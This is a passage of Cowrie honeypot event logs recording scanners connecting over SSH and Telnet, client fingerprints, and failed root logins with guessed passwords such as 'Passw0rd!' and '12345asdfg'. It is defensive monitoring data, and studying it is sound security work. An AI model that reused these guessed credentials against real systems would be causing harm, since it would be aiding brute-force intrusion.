01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:19.173987Z","src_ip":"103.149.170.125","session":"070c0375177e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhjirf","message":"login attempt [root/rhjirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:19.950283Z","src_ip":"103.149.170.125","session":"070c0375177e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:21.211620Z","src_ip":"103.149.170.125","session":"070c0375177e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60066,"dst_ip":"10.17.0.5","dst_port":23,"session":"c47f497469fb","protocol":"telnet","message":"New connection: 152.42.224.71:60066 (10.17.0.5:23) [session: c47f497469fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:26.435186Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60080,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7a4b6ea4d1a","protocol":"telnet","message":"New connection: 152.42.224.71:60080 (10.17.0.5:23) [session: f7a4b6ea4d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:28.644755Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60086,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85125ac5848","protocol":"telnet","message":"New connection: 152.42.224.71:60086 (10.17.0.5:23) [session: e85125ac5848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:29.096412Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60088,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f3c81b944d3","protocol":"telnet","message":"New connection: 152.42.224.71:60088 (10.17.0.5:23) [session: 7f3c81b944d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:29.179630Z"}
{"eventid":"cowrie.session.closed","duration":25.751920461654663,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:35.787031Z","src_ip":"152.42.224.71","session":"3de5405e7ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43638,"dst_ip":"10.17.0.5","dst_port":23,"session":"d773f4d24e0c","protocol":"telnet","message":"New connection: 152.42.224.71:43638 (10.17.0.5:23) [session: d773f4d24e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:35.862881Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43648,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6f6022ff8e","protocol":"telnet","message":"New connection: 152.42.224.71:43648 (10.17.0.5:23) [session: 9e6f6022ff8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:43.242899Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62446,"dst_ip":"10.17.0.5","dst_port":22,"session":"de0ab7cd618b","protocol":"ssh","message":"New connection: 152.42.212.128:62446 (10.17.0.5:22) [session: de0ab7cd618b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:43.869457Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:43.874671Z","src_ip":"152.42.212.128","session":"de0ab7cd618b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:43.879163Z","src_ip":"152.42.212.128","session":"de0ab7cd618b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.555042266845703,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:45.542383Z","src_ip":"152.42.224.71","session":"6f81fade35df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42558,"dst_ip":"10.17.0.5","dst_port":23,"session":"428fb6ac27a5","protocol":"telnet","message":"New connection: 152.42.224.71:42558 (10.17.0.5:23) [session: 428fb6ac27a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:49.802687Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":52052,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d453a9a04ca","protocol":"ssh","message":"New connection: 182.93.50.90:52052 (10.17.0.5:22) [session: 9d453a9a04ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:49.809211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:49.813997Z","src_ip":"182.93.50.90","session":"9d453a9a04ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:50.034385Z","src_ip":"182.93.50.90","session":"9d453a9a04ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!","message":"login attempt [root/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:50.944372Z","src_ip":"182.93.50.90","session":"9d453a9a04ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:52.169172Z","src_ip":"182.93.50.90","session":"9d453a9a04ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42574,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d9cb19d09b9","protocol":"telnet","message":"New connection: 152.42.224.71:42574 (10.17.0.5:23) [session: 2d9cb19d09b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:55.679119Z"}
{"eventid":"cowrie.session.closed","duration":32.664862632751465,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:09:59.099950Z","src_ip":"152.42.224.71","session":"c47f497469fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.929835796356201,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:04.732404Z","src_ip":"152.42.224.71","session":"428fb6ac27a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.60719037055969,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:13.703488Z","src_ip":"152.42.224.71","session":"e85125ac5848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33984,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1cf48137e2f","protocol":"telnet","message":"New connection: 152.42.224.71:33984 (10.17.0.5:23) [session: b1cf48137e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:13.716575Z"}
{"eventid":"cowrie.session.closed","duration":39.802008390426636,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:15.664775Z","src_ip":"152.42.224.71","session":"d773f4d24e0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":45764,"dst_ip":"159.203.135.109","dst_port":22,"session":"e045d87103f2","protocol":"ssh","message":"New connection: 47.237.167.49:45764 (159.203.135.109:22) [session: e045d87103f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:26.348302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:26.395671Z","src_ip":"47.237.167.49","session":"e045d87103f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:26.762448Z","src_ip":"47.237.167.49","session":"e045d87103f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56576,"dst_ip":"10.17.0.5","dst_port":23,"session":"32efbbdf0801","protocol":"telnet","message":"New connection: 152.42.224.71:56576 (10.17.0.5:23) [session: 32efbbdf0801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:29.449112Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9384b2b4d63","protocol":"telnet","message":"New connection: 152.42.224.71:56580 (10.17.0.5:23) [session: e9384b2b4d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:30.981572Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56596,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4ae6e58be9","protocol":"telnet","message":"New connection: 152.42.224.71:56596 (10.17.0.5:23) [session: ff4ae6e58be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:32.109159Z"}
{"eventid":"cowrie.session.closed","duration":49.32640266418457,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:32.569193Z","src_ip":"152.42.224.71","session":"9e6f6022ff8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":48110,"dst_ip":"159.203.135.109","dst_port":22,"session":"44360946056a","protocol":"ssh","message":"New connection: 62.133.63.178:48110 (159.203.135.109:22) [session: 44360946056a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:34.167751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:34.172447Z","src_ip":"62.133.63.178","session":"44360946056a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:34.299356Z","src_ip":"62.133.63.178","session":"44360946056a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stranger","message":"login attempt [root/stranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:34.683270Z","src_ip":"62.133.63.178","session":"44360946056a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:35.813629Z","src_ip":"62.133.63.178","session":"44360946056a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":46730,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceafd24276df","protocol":"ssh","message":"New connection: 147.45.197.250:46730 (10.17.0.5:22) [session: ceafd24276df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:36.175825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:36.181382Z","src_ip":"147.45.197.250","session":"ceafd24276df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:36.278623Z","src_ip":"147.45.197.250","session":"ceafd24276df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345asdfg","message":"login attempt [root/12345asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:36.560551Z","src_ip":"147.45.197.250","session":"ceafd24276df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:37.658605Z","src_ip":"147.45.197.250","session":"ceafd24276df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57956,"dst_ip":"10.17.0.5","dst_port":23,"session":"154aae736984","protocol":"telnet","message":"New connection: 152.42.224.71:57956 (10.17.0.5:23) [session: 154aae736984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:40.062962Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57960,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4b41399d524","protocol":"telnet","message":"New connection: 152.42.224.71:57960 (10.17.0.5:23) [session: c4b41399d524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:43.331159Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47502,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b605e80af3c","protocol":"ssh","message":"New connection: 103.173.227.57:47502 (10.17.0.5:22) [session: 3b605e80af3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:45.685168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:45.690772Z","src_ip":"103.173.227.57","session":"3b605e80af3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:45.928456Z","src_ip":"103.173.227.57","session":"3b605e80af3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nata","message":"login attempt [root/nata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:46.639930Z","src_ip":"103.173.227.57","session":"3b605e80af3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:47.879843Z","src_ip":"103.173.227.57","session":"3b605e80af3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.93410778045654,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:48.578740Z","src_ip":"152.42.224.71","session":"f7a4b6ea4d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46692,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e352b552385","protocol":"telnet","message":"New connection: 152.42.224.71:46692 (10.17.0.5:23) [session: 1e352b552385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:10:52.994643Z"}
{"eventid":"cowrie.session.closed","duration":47.45220160484314,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:01.168625Z","src_ip":"152.42.224.71","session":"b1cf48137e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39504,"dst_ip":"10.17.0.5","dst_port":23,"session":"101413500a14","protocol":"telnet","message":"New connection: 152.42.224.71:39504 (10.17.0.5:23) [session: 101413500a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:06.887118Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39510,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa685d1238e2","protocol":"telnet","message":"New connection: 152.42.224.71:39510 (10.17.0.5:23) [session: aa685d1238e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:09.215175Z"}
{"eventid":"cowrie.session.closed","duration":27.285772800445557,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:10.616819Z","src_ip":"152.42.224.71","session":"c4b41399d524","protocol":"telnet"}
